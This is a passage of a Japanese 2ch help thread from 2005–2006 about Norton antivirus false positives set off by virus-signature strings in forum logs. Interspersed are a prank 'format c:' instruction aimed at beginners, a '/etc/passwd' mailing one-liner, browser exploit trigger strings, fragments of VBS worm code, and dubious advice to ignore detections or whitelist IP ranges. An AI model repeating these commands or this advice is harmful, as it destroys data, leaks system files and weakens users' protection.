「3. プログラム制御の設定を確認する」の左の[+]をクリックして表示される説明をよく読んでください。
[手動プログラム制御] の一覧からjaneと思しきものを探し「すべてを許可」に設定してください。
319:314
05/10/18 21:29:08
>>318
ありがとうございました！！
無事に一覧取得できました！
本当にありがとうございます！！
320:ひよこ名無しさん
05/10/20 20:08:38 aF0j0mSh
教えて下さい
壺使用の場合、除外はC:\Program Files\2chtubo\log
でいいんですか？
321:ひよこ名無しさん
05/10/20 22:28:16
①スタート(タスクバーの左端にあるボタン)
②すべてのプログラム
③アクセサリ
④DOSプロンプト（コマンドプロンプト）を起動
⑤format c:と入力
⑥Enter
⑦再起動
⑧ﾋｬｯﾎｳ
これでおｋ
実行する際にはあくまで自己責任にてお願い致します。
322:ひよこ名無しさん
05/10/20 23:07:48
>>320
お願いします
323:名無しさん＠お腹いぱーい。
05/10/20 23:36:29
>>320
URLﾘﾝｸ(makimo.to)
仕様が大きく変わってない限りそれでいいと思います。
壷のログフォルダの確認はこちらで聞いてください。
【高速?】２ちゃんねるターボ 10壷目
ｽﾚﾘﾝｸ(software板)
324:ひよこ名無しさん
05/10/21 11:31:23
>>323
ありがとうございます
それでやってみます
325:ひよこ名無しさん
05/10/25 15:33:17 fojy96h8
あげ
326:ひよこ名無しさん
05/10/25 23:33:02
>>321
おぃおぃ...
327:ひよこ名無しさん
05/10/26 09:24:15
>>321
よし試してみよう
ヒャッホウ！
328:ひよこ名無しさん
05/10/27 13:44:50
Norton Anti Virusのオプション
手動スキャンとAuto-Protectで2ｃｈのログを除外指定したのですが
オプション→脅威カテゴリ→除外って所は関係ないのでしょうか？
329:ひよこ名無しさん
05/10/27 17:17:11
>>328
そこはスパイウェアやアドウェアの検出に関する設定なので、2chのログには関係ない。
330:ひよこ名無しさん
05/10/27 20:07:34
>>329
サンクス！
331:ひよこ名無しさん
05/10/29 01:10:38
NIS2005を使用しています
Opera8.5で>>2にあるテスト用のURLﾘﾝｸ(www.eicar.org)を踏んでみたのですがNAVが反応しません。
これはAutoProtectが正常に働いていないということなのでしょうか。
試しにローカルにDLしてみてスキャンをかけてみると、ウィルスだと反応して削除します。
332:ひよこ名無しさん
05/10/29 11:43:26
>>331ですが、解決できました。
「オプション」→「NortonAntiVirus」→「AutoProtect」にて、
「SmartScanを使ってファイルをスキャン」にチェックが入っていたのを「完全ファイルスキャン」に変更したら反応しました。
拡張子.txtがAutoProtectの対象になってなかったってことなんですね……。失礼しました。
333:ひよこ名無しさん
05/10/31 21:20:51
反応しちゃった場合は放置しといても大丈夫なの？
334:ひよこ名無しさん
05/11/01 03:53:50
勝手に修復したり隔離したりする設定になってると、困ることもある。特に2ch専用ブラウザ使ってる場合。
335:ひよこ名無しさん
05/11/05 23:27:57
これか
cat /etc/passwd | mail nobody
336:ひよこ名無しさん
05/11/06 10:55:05
何もノートンが誤反応しているわけではありません。
VBScriptやJavaScriptの拡張子のファイルに反応すべきなのを、
どの拡張子にでも誇大反応するだけです。
WindowsUpdateは、常に最新の状態に心がける事。
SunのJavaをインストールしている人は、これも最新版に更新しておく事。
RealPlayerやAdobe Readerなども最新にしておかないと、ウィルスに感染しますよ。
これらを心がけて最新状態にしてあれば、ウィルス反応があってもシステムにはもう感染はしません。
過去のWindowsのセキュリティホールを攻撃するアクティブスクリプトに反応しているだけですから、無視して結構です。
ページをプレビューしただけで反応するようなウィルスは、ほとんど全部がもはや検出する必要がないものです。
セキュリティベンダーなどに騙されてはいけませんよ。
337:ひよこ名無しさん
05/11/13 13:25:01
cenの部屋の管理人さんへ、
誤反応スクリプト無効化ソフト vicptdel ですが、
VBS Freelink.Bにも対応してもらえないでしょうか？
またサイトトップには、updateの表示だけでなく、update日付やVerも
記載していただけたら嬉しいです。ご検討よろしくお願いします。
cenの部屋
URLﾘﾝｸ(www.geocities.jp)
338:ひよこ名無しさん
05/11/13 13:39:48
ラウンジ開いたらブラッドハウンドに感染したみたいなんですが解決法がいまいちよく解りません…
339:ひよこ名無しさん
05/11/14 11:37:29
Vipのｽﾚ一覧でも反応するっぽいけど誤検出なんだろねえ…
340:ひよこ名無しさん
05/11/14 16:31:14
うん
341:ひよこ名無しさん
05/11/17 11:59:50
Bloodhound.Exploit.6ってなんてコードで引っ掛かってるですか？
ＮＧワード指定したいんで教えてください
342:ひよこ名無しさん
05/11/17 13:38:30
専用ブラウザでNGワード指定しても2chの鯖から取得して保存されるデータは同じなので無意味。
Proxomitronとかでフィルタリングするなら別だが。
それより素直にノートンの除外設定すべき。
343:cen ◆Pm9xOTJuM.
05/11/18 00:43:33
>>337
ご意見ありがとうです。
VBS.Freelink.Bですが、パターンは１つですが対応はしていますよ。
対応していないパターンかもしれないので、もしよかったら誤反応した
スレを教えて頂けないでしょうか。
そうですね。日付とバージョンはまた書いときますです。
344:ひよこ名無しさん
05/11/20 16:39:13
ほう
345:ひよこ名無しさん
05/11/20 21:02:09
>>343
Winny一般コミック part144
ｽﾚﾘﾝｸ(download板:5番)
上記のレスです。
dat落ちしてますので、以下を参照してください。
URLﾘﾝｸ(makimo.to)
346:cen ◆Pm9xOTJuM.
05/11/20 22:07:13
>>345
見てみました。そこの>>5からdatファイルを作って試しましたが、
無効化して、ウイルス対策ソフトでスキャンしても反応しませんでした
よ。
あと、このソフトで対応しているのは、2chにあるdatファイルのみです。
例：URLﾘﾝｸ(pc7.2ch.net)
壺のdatやhtmlには対応していないです。
347:cen ◆Pm9xOTJuM.
05/11/22 02:12:37
>>17 のソフトの紹介ページを更新しましたです。
URLﾘﾝｸ(www.geocities.jp)
348:ひよこ名無しさん
05/11/25 13:41:31 73+tCVDU
ウィルスが検出されんだけどどうすりゃいいの？
349:ひよこ名無しさん
05/11/25 14:39:57
恐れず全力で戦え
350:ひよこ名無しさん
05/11/25 17:03:37
保守
351:ひよこ名無しさん
05/11/28 08:08:31
ｽﾚﾘﾝｸ(handygame板)
このスレを読み込もうとすると、ノートン先生が
206.223.150.115からのアタックを検出して
途中までしか読み込めなくなります。
手動スキャンとAuto-Protectでlogフォルダの
除外の設定はしたんだけどまだダメっぽい。
OSはWinXP, ノートン先生はNAV2003, 専ブラはLive2chです。
たっけてー。
352:ひよこ名無しさん
05/11/28 08:36:32
<body onload=window()>
353:ひよこ名無しさん
05/11/28 08:42:51
>>351
NAVですか？ インターネットセキュリティじゃなくて？
スレみたら、Nortonスレで昨日話題になったonloadなんちゃらのトラップを確認しました。
これはフォルダの除外設定では対応できなかったと思います。
NIS使ってるなら、NISを無効にして再取得を。
>>352
あーバカが貼りやがったよorz
354:ひよこ名無しさん
05/11/28 08:54:07
>>353
あ、NISでした。勘違いsorry。
無効→再取得してトラップっぽいレス（>>499と>>543）
2個あぼ～んにしました。
これだけで問題ないですか？
355:ひよこ名無しさん
05/11/28 09:01:10
>>354
あぼーんの意味はありません。一度取得すれば問題ありません。
ただし、新規に貼られたら、NGワードに指定してあぼーん（または透明あぼーん）しても引っかかります。
現状での対処法としては
○引っかかったときにNISを切って再取得をする対処療法
○侵入検知の設定で、AutoBlockの除外項目に2chの鯖を登録する（穴をあけることになるので微妙ですが）
くらいでしょうか。
Jane系なら、問題の文字列を別の文字列に置き換えればおｋ、という案もNortonスレで出てましたが
Live2chでそれをやるのはちょっと手間なようです。
Live2chのスレでも少し話題になってますので、そちらも追っておくことをお勧めします。
356:ひよこ名無しさん
05/11/28 10:58:13
>>355
ご丁寧にどうもありがとうございます。
一度取得してしまえばそれでオワリなんですね。
Live2chのスレ探して見てみます。
357:ひよこ名無しさん
05/11/28 14:10:20
>>355
＞Jane系なら、問題の文字列を別の文字列に置き換えればおｋ、という案もNortonスレで出てましたが
誘導もしくは詳しくお願いします。
358:ひよこ名無しさん
05/11/28 14:42:24
>>357
<ここ数日2chを騒がせている侵入検知トラップの対策法>
症状：
Norton Internet Securityを使用している人で、特定の文字列を書かれると侵入検知が多発し
最短30分間そのアドレスがNISにより規制されるためログが読めなくなる。
対策：上に行くほどおすすめ
①Jane系の専用ブラウザ使ってる場合
JaneフォルダにReplaceStr.txtというテキストファイルを作り
onload＝[Tab]onload＝
みたいに置き換えればOK（↑の”[Tab]”はタブ入力）
Tabキーを押すのを忘れて[Tab]onloadとそのまま書いてはダメ
②Replace法が使えない場合(他の専用ブラウザ、IEなど)
Nortonの統計ログの侵入検知の項目を見て、ブロックされているサーバ名を確認(例:tmp5.2ch.net)
侵入検知の設定で除外に上で確認したサーバ名を入れる
ただしこの方法は穴を作ることになるのであまりおすすめではない
③よくわかんね、って人
読み書きするときに「Norton Internet Securityを無効にする」を選んで一時的にNISを切る。
このときAuto-Protectを切っても無意味なので注意。Auto-ProtectはAntivirusなので。
ガセビアの沼
・Love-letterと同じVB使った疑似ウイルスだからNAVの除外設定に専用ブラウザのログフォルダを入れてやればいい、というのはガセ
今回のはNAVではなくNIS管轄のトラップです
Nortonスレはこちら。
ただし、問題の起こる文字列が貼られているので、読み込むときには上記対策のいずれかを行ってください。
【ﾉｰﾄﾝ】ｲﾝﾀｰﾈｯﾄｾｷｭﾘﾃｨ Ver.77【2006】
ｽﾚﾘﾝｸ(sec板)
359:ひよこ名無しさん
05/11/28 14:57:54
(笑)
360:ひよこ名無しさん
05/11/28 17:12:55
URLﾘﾝｸ(www.computerterrorism.com)
URLﾘﾝｸ(www.computerterrorism.com)
URLﾘﾝｸ(www.computerterrorism.com)
361:ひよこ名無しさん
05/11/28 17:30:40
>>358
それガセらしいじゃないか・・・
｡ﾟ(ﾟ´Д｀ﾟ)゜｡ｳｧｧｧﾝ
362:ひよこ名無しさん
05/11/28 17:33:17
>>361
あーはいはい。
1. [ファイアウォール]をダブルクリック
2. [ネットワーク]をクリック
3. [信頼]をクリック
4. [追加]をクリック
5. [範囲を使う]をチェック
6. 開始アドレスに「206.223.147.0」を入力、終了アドレスに「206.223.154.255」してOKをクリック
363:eip = eip + unescape("%u7030%u4300")
05/11/28 19:44:46
URLﾘﾝｸ(www.computerterrorism.com)
URLﾘﾝｸ(www.computerterrorism.com)
URLﾘﾝｸ(www.computerterrorism.com)
364:ひよこ名無しさん
05/11/28 20:55:42
ms-its:mhtml:file://c:\
365:名無しさん＠お腹いぱーい。
05/11/29 00:32:03 BE:2515744-##
とりあえずKnowledge Base 経由で>>352のソースをﾂﾏﾝﾃｯｸに送って対応を催促しますた。
366:ひよこ名無しさん
05/11/29 00:54:38
馬鹿だなノートン。
367:ひよこ名無しさん
05/11/29 10:34:17
ノートンの誤作動対策したら、
スクリプトを仕組んでるスレみると、変に改行されてしまう（\r\n\r\n)のはなぜ？
368:名無しさん＠お腹いぱーい。
05/11/29 12:44:31 BE:1415333-##
>>367
>>362の設定ですか？
2ちゃんねるブラウザでの不具合は
お使いの2ちゃんねるブラウザのスレで環境を詳しく書いてお聞きください。
369:cen ◆Pm9xOTJuM.
05/11/30 00:10:23
>>352について、役に立つかは知らないですが、>>17のソフトにて
対応させてみました。
URLﾘﾝｸ(www.geocities.jp)
370:ひよこ名無しさん
05/12/11 18:48:05 J4cBBOMR
【アメリカ】全米各地で中国系中心に「アジア人」生徒へのいじめが増加…問題の根深く
ｽﾚﾘﾝｸ(newsplus板)
371:名無しさん＠お腹いぱーい。
05/12/12 00:37:26 BE:1257942-##
現在、2ちゃんねるではNIS(NPF)のファイアーウォールを誤作動させるコードの書き込みが出回っています。
アンチウイルス(NAV)は反応しないのでファイアーウォールの設定を見直さなければなりませんがあくまで暫定的処置です。
２chNIS問題まとめページ
URLﾘﾝｸ(mickey.mirv.net)
ノートン応急対策
URLﾘﾝｸ(info.2ch.net)
URLﾘﾝｸ(ansitu.xrea.jp) URLﾘﾝｸ(ansitu.xrea.jp)
URLﾘﾝｸ(wiki.livedoor.jp)
この場合2ちゃんねるに対してファイアーウォールの機能は働きません。
また、同様なコードが2ちゃんねるではない外部板に貼られていても上記ページのような設定はお勧めしません。
シマンテックの対応待ちです。
アンチウイルス(NAV)の設定は>>1
URLﾘﾝｸ(ansitu.xrea.jp)
372:ひよこ名無しさん
05/12/12 23:03:17 TJ/QcL4e
<body onload=windowあ()> ms-its:mhtml:fileあ://c:\
↑ひらがな抜いて書き込みすると誤作動します。
誤作動うざい。
373:ひよこ名無しさん
05/12/12 23:14:43
doredore,
<body onload=window()> ms-its:mhtml:file://c:\
374:ひよこ名無しさん
05/12/13 00:32:45
i|!| |i┏┓! i!┏┳┓| |||i|!i| ||!i|| |||ii| ||| ||| |i||!|i│i!┏┓i!|
|i|┏┛┗━╋┻┛|i!||!|ii|| i|!i||i|┏━┓ ┏┓i|i| i┃┃i!|
i||┗┓┏┓┃||i┏━━┓┗━┛ ┃┃|i||!i┃┃i!|
|i |!|i┃┃┃┃i||┗━━┛|i|| || ||||!┃┃i|i| i┗┛!i|
i||i ||┃┃┃┃|! |||i ||i !|||!|┏━┛┃|i||!i┏┓i|!
|i!i |!┗┛┗┛i|!i| / | / | ┗━━┛i|i| i┗┛i!|
i| |||i|!i| ||!|i||i! /,_ ┴─/ ヽ |!i| ||| |i||!|i|i|||| ||i
|i|| ||i!i|| （_゜.,》.'(_゜,》)ﾐ ヽ ! | |!i||!|ii||!|ii|
i|ii / ,,_＿,ニ、、 ﾉ( | i|i!|i|
|i | Y~~/~y} ｀, ~ | そ、そんなー… |i
!. | ,k.,.,!,.,.,r| ,! く .!
i ／ <ニニニ'ノ ＼ ｌ
375:ひよこ名無しさん
05/12/14 08:34:01 9z0oGE5T BE:229219294-#
てｔ
376:ひよこ名無しさん
05/12/16 07:08:09
vicptdelで処理した後、久々にNAVでJaneのlogをスキャンしてみたら、
以下のレスがvicptdelで処理されていなかったらしく、NAVに削除されました。
ｽﾚﾘﾝｸ(download板:11番)
URLﾘﾝｸ(makimo.to)
cenさんもしよろしければ、対応お願いします。
またスレタイがウィルスコードだったのか分かりませんが、subject.txtに
以下のUnix Penguinが入っていましたが、datだけでなく、
vicptdelでsubject.txt等も対応できないでしょうか？
caXt /etc/paXsswd | mail noXbody (Xを削除)
377:cen ◆Pm9xOTJuM.
05/12/18 00:49:25
>>376
そのスレの11ですが、そのパターンは対応していますよ。
手で11のdatを作って、スキャンしたら無効化されました。
デフォルトだとスキャンする時から10日前以降に更新されたdat
ファイルのみスキャンする設定なので、すべてのdatファイルを
スキャンする設定でしてみてください。
あと、subject.txtは専用ブラウザで板を見るときに常に更新するもの
だと思いますので、無効化しても効果がないので、スキャンはしない
です。
378:ひよこ名無しさん
05/12/22 17:14:31 Y2IitcnV
ノートンインターネット2006を入れたのですが、初心者の質問の板が
見れたり見れなかったりします。見れてもウィルス反応がでてしまう
のですが、2006の設定を教えて下さい。
お願いします。
379:ひよこ名無しさん
05/12/22 17:23:38
>>378
ノートンを切る
それだけ
380:ひよこ名無しさん
05/12/22 19:21:21 Z1b4rF6D
NIS2006を入れたんですが、誤反応しません。
設定が悪くセキュリティが甘くなってるのでしょうか？
381:ひよこ名無しさん
05/12/22 19:37:59
>>380
割れてます。
382:ひよこ名無しさん
05/12/22 20:22:37
>>381
普通にLiveUpdateとかできるのに…いや、それより何故割れてるって解るんでしょうか？
383:ひよこ名無しさん
05/12/22 20:23:54
>>382
(((((((( ；ﾟДﾟ)))))))ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙ
384:ひよこ名無しさん
05/12/23 00:52:52
.l l ＼| | ！ノートン先生 ！ ／/U ヽ＿＿＿/
パソコン蛾人 ＼ ！！大激怒！！ ／／ U :::U:
ぶっ壊れ（＿_） ＼ ！！！！！ ／ /／ ＿__ ＼ :::
たお！ （＿＿） ＼∧∧∧∧／ | | | U ::::
（`Д´＃） ＜ ぶ パ ＞ |U | | ::U:
＿|￣￣||＿）＿ ＜ っ ソ ＞ | ├―-┤ U.....::::
／旦|―||/／ ／| ＜ 壊 コ ＞ ヽ .....:::::::::
─────＜ れ ン ＞─────
< ＿,ノ , 、ヽ､＿ ノ＜ た 蛾＞ ﾌﾟｽﾌﾟｽﾌﾟｽ･･・・・∬∬
（y○'）｀ヽ) ( ´（y○'）＜ !!! ＞踏んじゃったよぉ＿＿＿
⌒ / ヽ⌒ ／∨∨∨∨＼ ∧＿∧ |｜＼
うわあ |~￣￣~.|ぁぁ／パソコン蛾ぶ ＼ （ ；´Д｀） |｜ ｜
ぁぁ| |||! i: |||! !|ぁ／っ壊れた！ディス ＼（ つ／￣|｜／
ぁぁ| |||| !! !!||| :|／プレイが砕け散った！ ＼ヽ |二二二」
385:ひよこ名無しさん
05/12/26 23:44:59 JAAmlww2
ｽﾚﾘﾝｸ(kankon板)
このスレにアクセスしたらウイルスが検出されます。
どうしたらいいですか？
386:ひよこ名無しさん
05/12/26 23:46:05
>>385
このスレを一通り読んでから質問しろよ情報乞食
387:ひよこ名無しさん
05/12/26 23:48:53
>>385
何でそうやってすぐに聞こうとするの？
まともな日本語能力と社会的常識を持っていれば
ちょっと調べれば、ちょっと読めば解決するのに
388:ひよこ名無しさん
05/12/26 23:54:34 TT8kYPqv
URLﾘﾝｸ(210.150.222.13)
の掲示板に貼られている空白？の画像はスパイウェアー
だと他の利用者が知らせてくれたのですが、
もしかしたらクリックしてしまったたかもしれません
スパイウェアーというのは感染するとどうなってしまうのでしょうか？
怖いので今日中に再フォーマットするつもりですが・・・
389:ひよこ名無しさん
05/12/26 23:58:53
>>388
で、何故このスレで聞こうと思ったの？
390:ひよこ名無しさん
05/12/26 23:59:45
自称PC初心者はスレタイも読めない日本語初心者…っと。
391:ひよこ名無しさん
05/12/27 00:04:42 TZFt/HNg
>>389
あ、今、別のスレで教えてもらえました
すいませんm(__)m
392:ひよこ名無しさん
05/12/27 01:32:52
>>388
踏んだ 踏んだ どうにもならへん
内部で呼び出しているサーバーがお休みのようだ
マカフィーさんも無反応
XP_SP2にとってはブラクラ以外の何物にもならない
393:ひよこ名無しさん
06/01/05 11:05:53
じいさんのためにage
394:ひよこ名無しさん
06/01/09 23:41:35
バージョン 】 1.12
【 スキン 】 default
【 IE 】 6.0.2900.2180
【 Windows 】 Windows XP Home Edition (Service Pack 2)
【 不具合 】 生活板がどのスレッドも見れません。
【詳しい内容 】 ボードデータの更新をしても、スレッドの更新をしても、再インストールしても
見れません。ちなみに専用ブラウザを使用しなくても見れなくなってしまいました。
何が原因なのでしょうか…？
395:ひよこ名無しさん
06/01/10 21:00:00
>>394
ここに来たってことはノートン入れてるんでしょ？
原因はノートン
ついでに保守age
396:ひよこ名無しさん
06/01/11 08:57:15
ms-its:mhtml:file://c:\
397:ひよこ名無しさん
06/01/15 20:20:52
定期age
398:ひよこ名無しさん
06/01/22 05:06:59
すみません。色々やったけどギブですorz質問よろしいでしょうか…
■janeDoeα 0.1.12.2■ｘｐ■NIS２００４■>>1-9は読みました
>>51>>56さんとややケースが似てるんですが…
最近ノートン２００４を再ｲﾝｽｺしたので、前と同じ方法（>>1）で
また専ブラのlogフォルダを除外設定しました、が、何故か今度はどう設定やり直しても
下記のスレで先生に怒られます。
ｽﾚﾘﾝｸ(pcqa板)（このスレです…）
ｽﾚﾘﾝｸ(hp板)
警告メッセージのスクショ↓
URLﾘﾝｸ(vipquality.orz.hm)（このスレのです。これが2回でます）
URLﾘﾝｸ(vipquality.orz.hm)（下のスレのです）
で、何度設定しても駄目だったのでこのソフトを入れて、トラップの無効化を試みたんですけど
URLﾘﾝｸ(www.geocities.jp)
やっぱり上記のスレで先生に怒られます。何回かこのソフト起動させてみたんですが
無効化成功してるよ。みたいなメッセージが出るだけで、依然として先生は怒りまくりだし
もうどうしていいか分かりません。誰か助けて～(つД`;)
399:ひよこ名無しさん
06/01/22 05:20:54 qJbbwLqx
トラックバック:ｽﾚﾘﾝｸ(qa板)
400:ぼるじょあ ◆yBEncckFOU
06/01/22 05:37:48
>>398
（・３・） エェー そのソフトはdatは対策できるけど、subject.txtは
対策できないYO
401:名無しさん＠お腹いぱーい。
06/01/22 19:21:57
>>398
今一度、Norton Anti Virusのオプションで
手動スキャンとAuto-Protectでlogフォルダの除外の指定をしているか確認してください。
該当スレに書き込んだ・該当スレをお気に入りに入れた・ウイルスコードを検索したりすると
幾つか除外の指定を増やすことになるのでご注意ください。
Janeの場合
Jane2ch\Logs
Jane2ch\favorites.dat
Jane2ch\kakikomi.txt
Jane2ch\SearchHistory.txt
ε三（; ･∀･）鯖ﾏﾃﾞｵﾂｶｲの場合
otsukai\result.dat
詳しくはお使いの2ちゃんねるブラウザのスレのテンプレや
2ちゃんねるブラウザのヘルプ
2ちゃんねるブラウザ配布サイト等のFAQなどを参照してください。
402:名無しさん＠お腹いぱーい。
06/01/22 19:46:59
>>401補足
増えた項目の内、
Jane2ch\favorites.dat
Jane2ch\kakikomi.txt
otsukai\result.dat
↑はスレタイに反応した場合です。
403:ひよこ名無しさん
06/01/27 17:56:55 SL6Rf0+0
Live2chのフォルダごとNorton Anti Virus→除外に設定しても良いの？
404:ひよこ名無しさん
06/01/28 02:19:43 W65BflbM
すみません、質問です。
昨日から携帯PHS板を見ていると、ノートンで何度も警告が出て、
WScript.KakWormってやつなんですけど、これは
「kak.hta';ken=wd+'START」ってスレタイがあるせいなのでしょうか？
405:404
06/01/28 02:27:13
すみません、テンプレ見ましたm(_ _)m
406:名無しさん＠お腹いぱーい。
06/01/28 20:16:04
>>403
Logフォルダを除外に指定してね。
407:ひよこ名無しさん
06/01/31 10:00:47 nkcqfLth
先程、他のスレッド見ていたら、ノートンの低危険度の表示が出てきて遮断をクリックしたら、あらゆるホームページが見れなくなりました。原因解るかた教えてください。宜しくお願いします。m(__)m
408:ひよこ名無しさん
06/01/31 10:02:30
>>407
誘導されたらそう書け
それと普通>>1から読むもんだ
既知の質問を延々と繰り返し答えさせられるこっちの身にもなれ
409:ひよこ名無しさん
06/01/31 10:03:47
これかな？
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!URLﾘﾝｸ(www.loadcash.biz)" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
End Sub
<body onload=window()>